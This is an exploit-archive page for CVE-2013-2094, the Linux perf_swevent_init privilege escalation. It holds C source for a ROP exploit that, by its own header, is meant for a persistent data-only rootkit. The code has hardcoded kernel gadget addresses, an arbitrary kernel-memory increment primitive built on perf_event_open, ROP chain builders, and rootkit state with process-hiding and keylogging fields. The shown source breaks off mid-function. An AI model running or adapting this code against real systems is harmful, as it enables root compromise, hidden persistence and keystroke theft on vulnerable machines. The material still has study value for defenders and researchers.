Linux perf_swevent_init Privilege Escalation

Related Vulnerabilities: CVE-2013-2094  
Publish Date: 12 Mar 2014
                							

                /*
 *                 CVE-2013-2094 
 *              ROP Exploit Version.
 *                       
 *      Used for a persistent data-only rootkit.
 *
 *      ROP CHUCK's REVENGE:
 *         -> Version 1.0 (December 2013)
 *         -> Tested on Ubuntu 13.04 Server Kernel 3.8.0-19-generic
 *         -> Exploit based on sorbo's (sorbo@darkircop.org) exploit.
 */

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <assert.h>
#include <stdarg.h>
#include <error.h>

#define PERF_SWEVENT_ENABLED  0xffffffff81ef31c0
#define LEAVE_RET             0xffffffff816cbc4f
#define SWAPGS                0xffffffff816cb9cb
#define INTERRUPT_HANDLER     0xffffffff816cb780
#define INTERRUPT             0xd
#define INTERRUPT_STRING      "0xd"

#define u64 unsigned long long
#define u32 unsigned long

// Struct for an IDT entry
struct idt {
    uint16_t limit;
    uint64_t addr;
} __attribute__((packed));

// Structs for patch entries
// This represents the area of the state 
// that is available to the rootkit
#define GLOBAL_STATE_SIZE 1023*4096     // This is MAX for kmalloc!
#define PROCESS_STATE_SIZE 1*4096

// Global State of the rootkit
enum global_patch_type 
{
    // The first parts of the state allows to save register values.
    // These values will be filled in by the copy chain. Essentially
    // the copy chain will store all register values such that they
    // can be restored later on. In addition, the rootkit can inspect
    // the original function arguments at any time.
    //
    // Notice that the register values within the global state are 
    // moved to the process state, before execution continues. The 
    // values within the global state are therefore only valid 
    // temporarily.
    //
    // The registers are ordered in the sequence that they are stored
    // by the copy chain. DO NOT MOVE OR REORDER THE REGISTERS!
    // 
    // Start the enum with one to distinguish global and process state.
    // Notice that this one is automatically substracted if it is a 
    // global value.
    GLOBAL_RDX=1,                // Place to save RDX
    GLOBAL_RCX=GLOBAL_RDX+8,     // Place to save RCX
    GLOBAL_RBX=GLOBAL_RCX+8,     // Place to save RBX
    GLOBAL_RSI=GLOBAL_RBX+8,     // Place to save RSI
    GLOBAL_RDI=GLOBAL_RSI+8,     // Place to save RDI
    GLOBAL_RAX=GLOBAL_RDI+8,     // Place to save RAX
    GLOBAL_RBP=GLOBAL_RAX+8,     // Place to save RBP

    // Next follows state information used by the payload.
    GLOBAL_TMP=GLOBAL_RBP+8,     // Allows a function to temporarily store a value
    PID_PARSE=GLOBAL_TMP+8,      // The location where parsed PIDs are written to
    PID_INDEX=PID_PARSE+8,       // Current Index into the PID array
    PID_ARRAY=PID_INDEX+8,       // The array containing the hidden PIDs
    
    // The following array references each process state.
    CUR_STATE=PID_ARRAY+4096,    // A variable that can store a single state 
                                 // pointer for the current process. Used by 
                                 // the dispatcher.
    PROC_INDEX=CUR_STATE+8,      // The next free index within the process state 
                                 // array
    PROC_STATE=PROC_INDEX+8,     // The array containing all processes and their 
                                 // state.
};

// Used for verifying whether a valid global enum was given
const u32 global_patch_type_array[] = {
                                            GLOBAL_RDX, GLOBAL_RCX, GLOBAL_RBX, 
                                            GLOBAL_RSI, GLOBAL_RDI, GLOBAL_RAX, 
                                            GLOBAL_RBP, GLOBAL_TMP, PID_PARSE,
                                            PID_INDEX, PID_ARRAY, CUR_STATE,
                                            PROC_INDEX, PROC_STATE
                                      };

// Local state for each process.
enum process_patch_type 
{
    // The first parts of the state allows to save register values.
    // These values will be filled in by the dispatcher chain..
    //
    // The registers are ordered in the sequence that they are stored
    // by the copy chain. DO NOT MOVE OR REORDER THE REGISTERS!
    RDX=0,                  // Place to save RDX
    RCX=RDX+8,              // Place to save RCX
    RBX=RCX+8,              // Place to save RBX
    RSI=RBX+8,              // Place to save RSI
    RDI=RSI+8,              // Place to save RDI
    RAX=RDI+8,              // Place to save RAX
    RBP=RAX+8,              // Place to save RBP

    // Next follows state information used by the payload.
    TMP=RBP+8,              // Allows a function to temporarily store a value
    COUNTER=TMP+8,          // Place to store a counter
    TMP_RAX=COUNTER+8,      // TMP value for RAX
    TMP_RDI=TMP_RAX+8,      // TMP value for RDI
    TMP_RSI=TMP_RDI+8,      // TMP value for RSI
    TMP_RDX=TMP_RSI+8,      // TMP value for RDX
    DEBUG=TMP_RDX+8,        // Debugging enabled?
    KEYLOG=DEBUG+8,         // Keylogging enabled?
    PAYLOAD=KEYLOG+8,       // Pointer to the current payload area
    COMMAND=PAYLOAD+8,      // Did we encounter a newline?
    BUFFER_INDEX=COMMAND+8, // Offset into buffer
    BUFFER=BUFFER_INDEX+8,  // The buffer that contains the current command
};

// Used for verifying whether a valid process enum was given.
const u32 process_patch_type_array[] = {
                                            RDX, RCX, RBX, RSI, RDI, RAX, 
                                            RBP, TMP, COUNTER,
                                            TMP_RAX, TMP_RDI, TMP_RSI, 
                                            TMP_RDX, DEBUG, KEYLOG, PAYLOAD,
                                            COMMAND, BUFFER_INDEX, BUFFER
                                       };
                                   
// Enum to specify wether an entry is global or process specific
enum patch_scope 
{
    UNDEFINED=0,
    PROCESS,
    GLOBAL,
    ALL
};

// To provide easy access to the state, we make use of patch entries.
// Patch entries point to an entry within the state and are automatically
// resolved by the init chain, once the state area has been created.
struct patch_entry 
{
    void *fake_stack_position;      // The address of the patch 
                                    // within its fake stack
    u64 fake_stack_offset;          // The offset of the patch
                                    // within its fake stack
    u32 type;                       // The state field that the
                                    // patch entry points to.
    int type_offset;                // An additional offset that
                                    // is added to the state field
                                    // for the patch entry. This
                                    // can, for instance, be used
                                    // to directly access a field
                                    // within an array in the state,
    enum patch_scope scope;         // Is this a global patch entry 
                                    // or a process specific patch
};

// Array for all patch entries. The size of the array is 
// currently fixed for the sake of simplicity.
struct patch_entry patch_entries[1024];
u32 patch_entry_index = 0;

// Enum to specify a regitser
enum registers {
    REG_RAX,
    REG_RBX,
    REG_RCX,
    REG_RDX,
    REG_RSI,
    REG_RDI
};

// Subprocesses for arbitrary increments
pid_t children[1024];
u32 child_index = 0;
u32 *children_done = 0;
u32 *parent_done = 0;

// Pointers for all stacks that we use
// Size and offset of the init stack
#define INIT_STACK_SIZE 16*4096
#define INIT_STACK_OFFSET 4*4096

u32 init_stack_size = 0;
void *init_stack = 0;

// The copy stack
#define COPY_STACK_SIZE 1000*4096

u32 copy_stack_size = 0;
void *copy_stack = 0;
void *dispatcher_stack_patch = 0;
void *copy_stack_kernel = 0;

// The payload stack
#define PAYLOAD_STACK_SIZE 42*4096
u32 payload_stack_size = 0;
void *payload_stack = 0;

// The dispatcher stack
#define DISPACTHER_STACK_SIZE 100*4096
u32 dispatcher_stack_size = 0;
void *dispatcher_stack = 0;

// Just for fancy error handling.
// Not really important for the rootkit.
void error_print_program_name(void)
{
    return;
}

void (*error_print_progname)(void) = &error_print_program_name;

/** 
 * Change the endianess of the given value.
 *
 * @param x The value to convert from big endian to little endian or vice versa.
 * @return The converted value.
 */
inline u64 swap(u64 x)
{
    u64 result = 0;
    result = (x>>56) | 
             ((x<<40) & 0x00FF000000000000) |
             ((x<<24) & 0x0000FF0000000000) |
             ((x<<8)  & 0x000000FF00000000) |
             ((x>>8)  & 0x00000000FF000000) |
             ((x>>24) & 0x0000000000FF0000) |
             ((x>>40) & 0x000000000000FF00) |
             (x<<56);

    return result;
}

/**
 * Invoke perf_event_open with the given offset.
 *
 * This function can be used to increment an arbitrary memory address within 
 * the kernel. To trigger the bug a negative offset must be provided.
 *
 * @param offset The negative offset of the memory address to be incremented
 *               from the perf_swevent_enabled array.
 * @return The return value of the perf_event_open system call.
 */
static int perf_open(u64 offset)
{
    struct perf_event_attr attr;

    memset(&attr, 0, sizeof(attr));

    attr.type           = PERF_TYPE_SOFTWARE;
    attr.size           = sizeof(attr);
    attr.config         = offset;
    attr.mmap           = 1;
    attr.comm           = 1;
    attr.exclude_kernel = 1;

    return syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
}

/**
 * Increment a given offset the given number of times.
 *
 * When a negative offset is provided to perf_open it will increment the 
 * address at the given offset. Each increment requires an own file descriptor,
 * since closing a file descriptor will decrement the offset value. To set a 
 * memory value to a specific address, we use increments (repeated calls to 
 * perf_open) with the same offset. However, we may want to increment a offset 
 * by more than the maximal number of file descriptors that a process can have.
 * To work around this restriction we fork other processes that will use their 
 * file descriptors for the increment.
 * 
 * @param nr The value that the offset should be incremented by.
 * @param steps The number of increments that will be done per process. 
 *              This number must be below the max fd number for a process.
 * @param offset The offset to invoke perf_open with.
 */
static void increment(int nr, int steps, u64 offset)
{
    int i = 0;
    int tmp = 0;

    // Create shared memory for the children and the parent
    printf(" [+] Creating shared variables...\n");
    children_done = mmap(NULL, sizeof(*children_done), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    parent_done = mmap(NULL, sizeof(*parent_done), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);

    if(!children_done || !parent_done)
    {
            error(-1, 0, " [!] Could not allocate shared variables!\n");
    }

    printf(" [+] Incrementing 0x%llx by %d (step size: %d)...", offset, nr, steps); 

    // Fork till we have the desired number of increments.
    while (i < nr)
    {
            if((children[child_index] = fork()) == 0)
            {       
                    // Child
                    for(tmp = 0; tmp < steps; tmp++)
                            close(tmp);

                    for(tmp = i; tmp < i + steps && tmp < nr; tmp++)
                            perf_open(offset);

                    // Signal the parent that we are ready
                    (*children_done) += 1;

                    // Let the parent do its thing
                    // and wait till it finishes
                    while (1)
                    {
                            sleep(1);
                            
                            // Parent done yet?
                            if ((*parent_done) == 1)
                                    break;

                    }

                    exit(0);                
            
            }
            else
            {
                    // Parent
                    i += steps;
                    child_index += 1;
            }
    }
}

/**
 * Add a patch entry.
 *
 * Since our rootkit makes use of memory addresses that are not known
 * beforehand (because we dynamically allocated memory using kmalloc), 
 * we need a way of specifing that a certain address must be replaced 
 * during run-time. This is what patch entries are for. The patching 
 * routine will replace each patch entry with the correct address
 * during run-time.
 *
 * @param fake_stack A pointer to the fake stack that a patch entry is on.
 * @param fake_stack_size The size of the fake stack.
 * @param type The type of the patch symbol.
 * @param type_offset The offset with the type of the symbol. If the type is
 *                    an array for instance, this value allows to specify the
 *                    the index.
 * 
 */
static void add_patch_entry(void **fake_stack, u32 *fake_stack_size, u32 type, 
                            int type_offset)
{
    u32 i = 0;
    enum patch_scope scope = UNDEFINED;
    u32 modified_type = 0;
    
    // Check size
    if (patch_entry_index >= 1024)
    {
        error(-1, 0, " [!] Too many patch entries !\n");
    }
    
    // Check type
    for (i = 0; i < sizeof(process_patch_type_array) / sizeof(u32); ++i)
    {
        if (process_patch_type_array[i] == type)
        {
            scope = PROCESS;
            modified_type = type;
        }
    }
    
    if (scope == UNDEFINED)
    {
        for (i = 0; i < sizeof(global_patch_type_array) / sizeof(u32); ++i)
        {
            if (global_patch_type_array[i] == type)
            {
                scope = GLOBAL;
                // Global patch types use a +1 offset to distinguish them from
                // process patch types. To account for this offset we have to
                // substract 1,
                modified_type = type - 1;
            }
        }
    }
    
    // Valid type?
    if (scope == UNDEFINED)
    {
        error(-1, 0, " [!] The value '%lu' does not correspond to a valid patch type!\n", 
              type);
    }
    
    patch_entries[patch_entry_index].fake_stack_position = (*fake_stack);
    patch_entries[patch_entry_index].fake_stack_offset = (*fake_stack_size);
    patch_entries[patch_entry_index].type = modified_type;
    patch_entries[patch_entry_index].type_offset = type_offset;
    patch_entries[patch_entry_index].scope = scope;
    patch_entry_index++;
}

/**
 * Update an existing patch entry.
 *
 * The function will search the existing patch entries for an entry that
 * matches the given position. If such an entry exists, the
 * 'fake_stack_offset' field of the entry is updated to given offset.
 *
 * @param position The position of the patch entry. This is the key that
 *                 we search for.
 * @param new_position The new postion of the patch entry.
 * @param new_fake_stack_offset The new offset value that will be set 
 *                              within the patch entry if it is found.
 */
static void update_patch_entry(void *position, void *new_position, u32 new_fake_stack_offset)
{
    u32 i = 0;

    for (i = 0; i < patch_entry_index; ++i)
    {
            if (patch_entries[i].fake_stack_position == position)
            {
                    patch_entries[i].fake_stack_position = new_position;
                    patch_entries[i].fake_stack_offset = new_fake_stack_offset;
                    return;
            }
    }
}

/**
 * Add an address/value to our fake stack
 * 
 * This function will add the given value to the given stack and
 * increase the stack size accordingly.
 * 
 * @param value The value to add to the stack.
 * @param fake_stack The fake stack the value should be added to.
 * @param fake_stack_size A pointer to the size of the fake stack.
 *                        It will be increased by 8 bytes.
 * 
 * @returns The fake stack pointer increased by 8 bytes.
 */
static void * add_to_fake_stack(u64 value, void **fake_stack, u32 *fake_stack_size)
{
    u64 *stackp = (u64 *) (*fake_stack);

    // Simple bound checking to avoid bugs.
    if (((*fake_stack) == init_stack && 
        init_stack_size >= INIT_STACK_SIZE) ||
        ((*fake_stack) == copy_stack &&
        copy_stack_size >= COPY_STACK_SIZE) ||
        ((*fake_stack) == payload_stack &&
        payload_stack_size >= PAYLOAD_STACK_SIZE) || 
        ((*fake_stack) == dispatcher_stack &&
        dispatcher_stack_size >= DISPACTHER_STACK_SIZE))
    {
            error(-1, 0, " [!] Fake stack out of bounds! (init: %lu, copy: %lu, " 
                           "payload: %lu, disptacher: %lu)\n", init_stack_size, 
                           copy_stack_size, payload_stack_size, dispatcher_stack_size);
    }

    (*stackp) = value;
    (*fake_stack) += sizeof(u64);
    (*fake_stack_size) += sizeof(u64);

    return (void *)stackp;
}

/**
 * Generate a sequence that pops a value into the given register.
 *
 * This function will generate a gadget that pops the next value 
 * on the stack into the given register.
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param reg The register that the value should be popped into.
 */
static void generate_pop(void **fake_stack, u32 *fake_stack_size, 
                     enum registers reg)
{
    // Register
    switch (reg)
    {
        case REG_RAX:
                // POP RAX; RET
                add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);
                break; 
        case REG_RBX:
                // POP RBX; RET
                add_to_fake_stack(0xffffffff812ca859, fake_stack, fake_stack_size);
                break;  
        case REG_RCX:
                // POP RCX; RET
                add_to_fake_stack(0xffffffff81005190, fake_stack, fake_stack_size);     
                break;
        case REG_RDX:
                // POP RDX; RET
                add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);
                break;
        case REG_RSI:
                // POP RSI; RET
                add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);     
                break;          
        case REG_RDI:
                // POP RDI; RET
                add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);     
                break;
        default:
                error(-1, 0, " [!] Cannot generate pop gadget!\n"
                             " [!] Unsupported register (%d)\n", reg);
    }   
}

/**
 * Generate a safe push seqeunce that does not overwrite existing
 * gadgets.
 *
 * This function will generate a gadget sequence that can be 
 * followed by a PUSH gadget without overwriting a valid part 
 * of the chain. 
 * 
 * IMPORTANT: This function will NOT remove the pushed value. It 
 * is up to the gadget that is conducting the PUSH to remove the
 * pushed value.
 * 
 * This function uses RDI.
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param push_gadget The gadget containing the push that should be
 *                    executed.
 */
static void generate_safe_push(void **fake_stack, u32 *fake_stack_size,
                               u64 push_gadget)
{
    // The gadget that we use, contains a JMP RDI. Thus setup RDI first.
    generate_pop(fake_stack, fake_stack_size, REG_RDI);
    add_to_fake_stack(push_gadget, fake_stack, fake_stack_size);
    
    // Increment stack pointer
    add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size);     // ADD RSP, 0x18; JMP RDI;
    
    // Padding
    add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size);     // This value will not be used
    add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size);     // This value will not be used
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                            // by the push
}

/** 
 * Generate a move to RAX gadget sequence.
 *
 * This sequence will move the value in the given register into RAX. In case
 * the register is RBX, the function will clobber RDI.
 * 
 * This function is stack safe. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param reg The register whose value should be moved to RAX.
 */
static void generate_move_to_rax(void **fake_stack, u32 *fake_stack_size, 
                               enum registers reg)
{
     // Register
    switch (reg)
    {
        case REG_RAX:
                // Nothing to do in this case...
                break; 
        case REG_RBX:
                // RBX is a little more involved as there is no MOV RAX; RBX; RET 
                // gadget. We solve this by moving RBX to RDI first. The gadget
                // use a call RAX. Thus setup RAX first.
                generate_pop(fake_stack, fake_stack_size, REG_RAX);
                // The call will simply pop a value from the stack.
                generate_pop(fake_stack, fake_stack_size, REG_RAX);
                
                // MOV RDI, RBX; CALL RAX;
                generate_safe_push(fake_stack, fake_stack_size, 0xffffffff81024436);
                
                // MOV RAX, RDI; RET
                add_to_fake_stack(0xffffffff81005614, fake_stack, fake_stack_size); 
                break;  
        case REG_RCX:
                // MOV RAX, RCX; RET
                add_to_fake_stack(0xffffffff811640b4, fake_stack, fake_stack_size);     
                break;
        case REG_RDX:
                // MOV RAX, RDX; RET
                add_to_fake_stack(0xffffffff8105fae5, fake_stack, fake_stack_size);
                break;
        case REG_RSI:
                // MOV RAX, RSI; RET
                add_to_fake_stack(0xffffffff8113ab81, fake_stack, fake_stack_size);     
                break;          
        case REG_RDI:
                // MOV RAX, RDI; RET
                add_to_fake_stack(0xffffffff81005614, fake_stack, fake_stack_size);     
                break;
        default:
                error(-1, 0, " [!] Cannot generate move to RAX gadget!\n"
                             " [!] Unsupported register (%d)\n", reg);
    }
}

// Internal helper to provide stack safe and unsafe moves.
static void _generate_move_from_rax_helper(void **fake_stack, u32 *fake_stack_size, 
                                          enum registers reg, char stack_safe)
{
    // If the target register is RAX we are done.
    if (reg == REG_RAX)
        return;
    
    // The basic idea of this gadget is to write the value
    // within RAX onto the stack, such that we can then simply 
    // pop the value into the desired register. 
    // Lets go.
    
    // Should we keep the stack safe?
    if (stack_safe)
    {
        // First we make some room on the stack to ensure that we do not overwrite
        // parts of the chain.
        // The gadget that we use, contains a JMP RDI. Thus setup RDI first.
        generate_pop(fake_stack, fake_stack_size, REG_RDI);
    }
    
    // Write the value in RAX to our stack.
    // We will place an ADD RSP, 0x10 gadget into RDX later on!
    add_to_fake_stack(0xffffffff812c45f2, fake_stack, fake_stack_size);     // MOV [RSP+0x10], RAX;
                                                                            // MOV RDX, [RSP+0x30];
                                                                            // CALL RDX;
    // Should we keep the stack safe?
    if (stack_safe)
    {
        // Increment stack pointer
        add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size);     // ADD RSP, 0x18; JMP RDI;
        
        // Padding
        add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size);     // This value will not be used
        add_to_fake_stack(0xdeadbeefbeefdead, fake_stack, fake_stack_size);     // This value will not be used
        add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // This value will be overwritten
                                                                                // by the CALL RDX
    }

    // Padding
    add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size);     // This is just padding

    // Alright, here goes the register we want the value to be in.
    generate_pop(fake_stack, fake_stack_size, reg);

    // This value will be overwritten by the inital move and will thus
    // be popped into the specified register
    add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size);     // Will be overwritten

    // Now we fix the stack by incremting the stack pointer
    add_to_fake_stack(0xffffffff81352d33, fake_stack, fake_stack_size);     // ADD RSP, 0x10; RET;

    // Padding
    add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size);     // This is just padding
    add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size);     // This is just padding
 
    // This value also ends up in RDX. It just increases the stack by
    // 0x10 bytes
    add_to_fake_stack(0xffffffff81352d33, fake_stack, fake_stack_size);     // ADD RSP, 0x10; RET;

    // Padding
    add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size);     // This is just padding
    add_to_fake_stack(0xdeadbeefdeadbeef, fake_stack, fake_stack_size);     // This is just padding
}

/** 
 * Add a move from RAX gadget sequence.
 *
 * This sequence will move the value in RAX to one of the supported
 * registers (RBX, RCX, RDX, RSI, RDI).
 * The sequence uses RDI, RDX and RAX. However, it is possible to load
 * the value of RAX into RDX or RDI using the sequence.
 * 
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param reg The destination register. This register will we set to the 
 *            current value of RAX.
 */
static void generate_move_from_rax(void **fake_stack, u32 *fake_stack_size, 
                                   enum registers reg)
{
        // Keep the stack safe
        _generate_move_from_rax_helper(fake_stack, fake_stack_size, reg, 1);
}

/** 
 * Add a move from RAX gadget sequence.
 *
 * This sequence will move the value in RAX to one of the supported
 * registers (RBX, RCX, RDX, RSI, RDI).
 * The sequence uses RDX and RAX. However, it is possible to load
 * the value of RAX into RDX using the sequence.
 * 
 * IMPORTANT: This function is NOT stack safe! That is, the funtion 
 *            may overwrite old gadgets on the stack! However it 
 *            only uses RAX and RDX.
 * 
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param reg The destination register. This register will we set to the 
 *            current value of RAX.
 */
static void generate_move_from_rax_unsafe(void **fake_stack, u32 *fake_stack_size, 
                                          enum registers reg)
{
        // Keep the stack safe
        _generate_move_from_rax_helper(fake_stack, fake_stack_size, reg, 0);
}


/** 
 * Add the given value to the given register.
 *
 * This sequence will add a value to a given register. It uses the 
 * registers RAX, RDX and RDI to do so. 
 * 
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param value The value that should be added.
 * @param reg The register that the value should be added to.
 */
static void generate_add_value(void **fake_stack, u32 *fake_stack_size,
                           u64 value, enum registers reg)
{
    // We conduct the add by:
    //    1. Moving the value within the register we want to add to 
    //       into RAX.
    //    2. Adding the value to RAX
    //    3. Moving the result back to the target register.
    
    // Move to RAX.
    generate_move_to_rax(fake_stack, fake_stack_size, reg);
    
    // POP the value into RDX
    generate_pop(fake_stack, fake_stack_size, REG_RDX);
    // The value
    add_to_fake_stack(value, fake_stack, fake_stack_size); 
    
    // Add to RAX using RDX
    add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size);     // ADD RAX, RDX; RET
    
    // Move the result back.
    generate_move_from_rax(fake_stack, fake_stack_size, reg);
    
}

/** 
 * Add the given value to the given register.
 *
 * This sequence will add a value to a given register. It uses the 
 * registers RAX, RDX and in the case that RBX is the destination
 * register also RDI to do so. 
 * 
 * IMPORTANT: This sequence will overwrite previously executed 
 *            gadgets on the stack. That is, this function is 
 *            NOT stack safe!
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param value The value that should be added.
 * @param reg The register that the value should be added to.
 */
static void generate_add_value_unsafe(void **fake_stack, u32 *fake_stack_size,
                                      u64 value, enum registers reg)
{
    // We conduct the add by:
    //    1. Moving the value within the register we want to add to 
    //       into RAX.
    //    2. Adding the value to RAX
    //    3. Moving the result back to the target register.
    
    // Move to RAX.
    generate_move_to_rax(fake_stack, fake_stack_size, reg);
    
    // POP the value into RDX
    generate_pop(fake_stack, fake_stack_size, REG_RDX);
    // The value
    add_to_fake_stack(value, fake_stack, fake_stack_size); 
    
    // Add to RAX using RDX
    add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size);     // ADD RAX, RDX; RET
    
    // Move the result back.
    generate_move_from_rax_unsafe(fake_stack, fake_stack_size, reg);
    
}


/** 
 * Substract the given value from the given register.
 *
 * This sequence will substract a value from a given register. It uses 
 * the registers RAX, RDX, and RDI to do so. 
 * 
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param value The value that should be substracted.
 * @param reg The register that the value should be substracted from.
 */
static void generate_substract_value(void **fake_stack, u32 *fake_stack_size,
                                     u64 value, enum registers reg)
{
    // We conduct the add by:
    //    1. Moving the value within the register we want to add to 
    //       into RAX.
    //    2. Substracting the value from RAX
    //    3. Moving the result back to the target register.
    
    // Move to RAX.
    generate_move_to_rax(fake_stack, fake_stack_size, reg);
    
    // POP the value into RDX
    generate_pop(fake_stack, fake_stack_size, REG_RDX);
    // The value
    add_to_fake_stack(value, fake_stack, fake_stack_size); 
    
    // Substract RDX from RAX
    add_to_fake_stack(0xffffffff81079357, fake_stack, fake_stack_size);     // SUB RAX, RDX; RET
    
    // Move the result back.
    generate_move_from_rax(fake_stack, fake_stack_size, reg);
    
}

/**
 * Add a stack increment gadget sequence.
 *
 * This function will generate a gadget sequence that
 * will increase the SP by the given amount.
 * The sequence uses RDX, RDI, RBP, and RAX.
 * 
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param amount The amount the stack pointer should be increased.
 */
static void generate_stack_increment(void **fake_stack, u32 *fake_stack_size, 
                                     u64 amount)
{
    // We need variables to patch the size used within the gadget.
    u32 current_size = 0;
    void *location = 0;
    u32 location_size = 0;
    
    // At this point we need to get the current stack pointer. We use 
    // a PUSH RSP gadget for this purpose, but want to avoid overwrites
    // due to the push. 
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);    // PUSH RSP; POP RDX; RET;

    // The SP points here! Safe this location to calculate the correct
    // offset at the end.
    current_size = (*fake_stack_size);
    
    // Move RAX to RDX
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RDX);
    
    // Add the size of this sequence to the amount that the SP should
    // be increased by. Since the size of the sequence is unknown at
    // this point, we will overwrite this gadget at the end of the
    // function with the correct size!
    // For the latter we first save the address and the size
    location = (*fake_stack);
    generate_add_value(fake_stack, fake_stack_size, amount + 0, REG_RAX);

    // Move new SP to RBP
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c);    // PUSH RAX; POP RBP; RET;

    // LEAVE RET
    add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size);              // LEAVE; RET;
    
    // Overwrite the add sequence. Account for POP RBP! => - 0x8
    generate_add_value(&location, &location_size, 
                       amount + (*fake_stack_size) - current_size - 0x8, 
                       REG_RAX);
}

/**
 * Add a stack decrement gadget sequence.
 *
 * This function will generate a gadget sequence that
 * will decrease the SP by the given amount.
 * The sequence uses RDX, RDI, RBP, and RAX.
 * 
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param amount The amount the stack pointer should be decreased.
 */
static void generate_stack_decrement(void **fake_stack, u32 *fake_stack_size, 
                                     u64 amount)
{ 
    // We need variables to patch the size used within the gadget.
    u32 current_size = (*fake_stack_size);
    u32 location_size = 0;
    
    // At this point we need to get the current stack pointer. We use 
    // a PUSH RSP gadget for this purpose, but want to avoid overwrites
    // due to the push. 
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8);    // PUSH RSP; POP RDX; RET;
    
    // Get the size of the last gadget, which we need to get the correct 
    // size for the stack fix
    location_size = (*fake_stack_size) - current_size;

    // Move RAX to RDX
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RDX);
    
    // Add the size of the first gadget to the amount that the SP should
    // be decreased by. Notice that the size of the gadget sequence 
    // is unimportant in this case as the stack should be decreased 
    // at the point this sequence is executed. This means we only have 
    // to account for the first gadget sequence, which obtains the SP 
    // and is location_size bytes long.
    // Thus we actually should substract amount + location_size. However,
    // we use LEAVE; RET for the stack switch. Since LEAVE pops a value
    // from the stack, we have to substract amount + location_size + 8!
    generate_substract_value(fake_stack, fake_stack_size, 
                             amount + location_size + 8, REG_RAX);

    // Move new SP to RBP
    generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c);    // PUSH RAX; POP RBP; RET;     

    // LEAVE RET
    add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size);              // LEAVE; RET;
}

/** 
 * Set a VALUE in the state area from the given register.
 *
 * This sequence will move the VALUE within the given register
 * (RAX, RBX, RCX, RDX, RSI, RDI) into the given state field.
 * The sequence uses RSI, RDI and RAX. However, it is possible 
 * to store the value in one of those registers.
 * 
 * This function is stack save. That is, the function will not overwrite any
 * previously executed gadgets (gadgets that reside before the current SP).
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 * @param type The entry within the state that should be written to.
 * @param reg The register that contains the value to be written.
 */
static void generate_set_state_value(void **fake_stack, u32 *fake_stack_size,
                                     u32 type, enum registers reg)
{

    // Move the VALUE within the given register to RAX
    generate_move_to_rax(fake_stack, fake_stack_size, reg);
    
    // Move the state value into RSI
    generate_pop(fake_stack, fake_stack_size, REG_RSI);                     // POP RSI, RET;
    add_patch_entry(fake_stack, fake_stack_size, type, 0);                  // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // for the given type,
                                                                            // must be overwritten by init

    // MOVE RAX to RSI
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX; 
                                                                            // XOR EAX,EAX;
                                                                            // RET
}

// Internal helper to provide stack safe and unsafe versions of the 
// get state value sequence.
static void _generate_get_state_value_helper(void **fake_stack, u32 *fake_stack_size,
                                             u32 type, enum registers reg, char stack_safe)
{

    // Load the VALUE into RAX
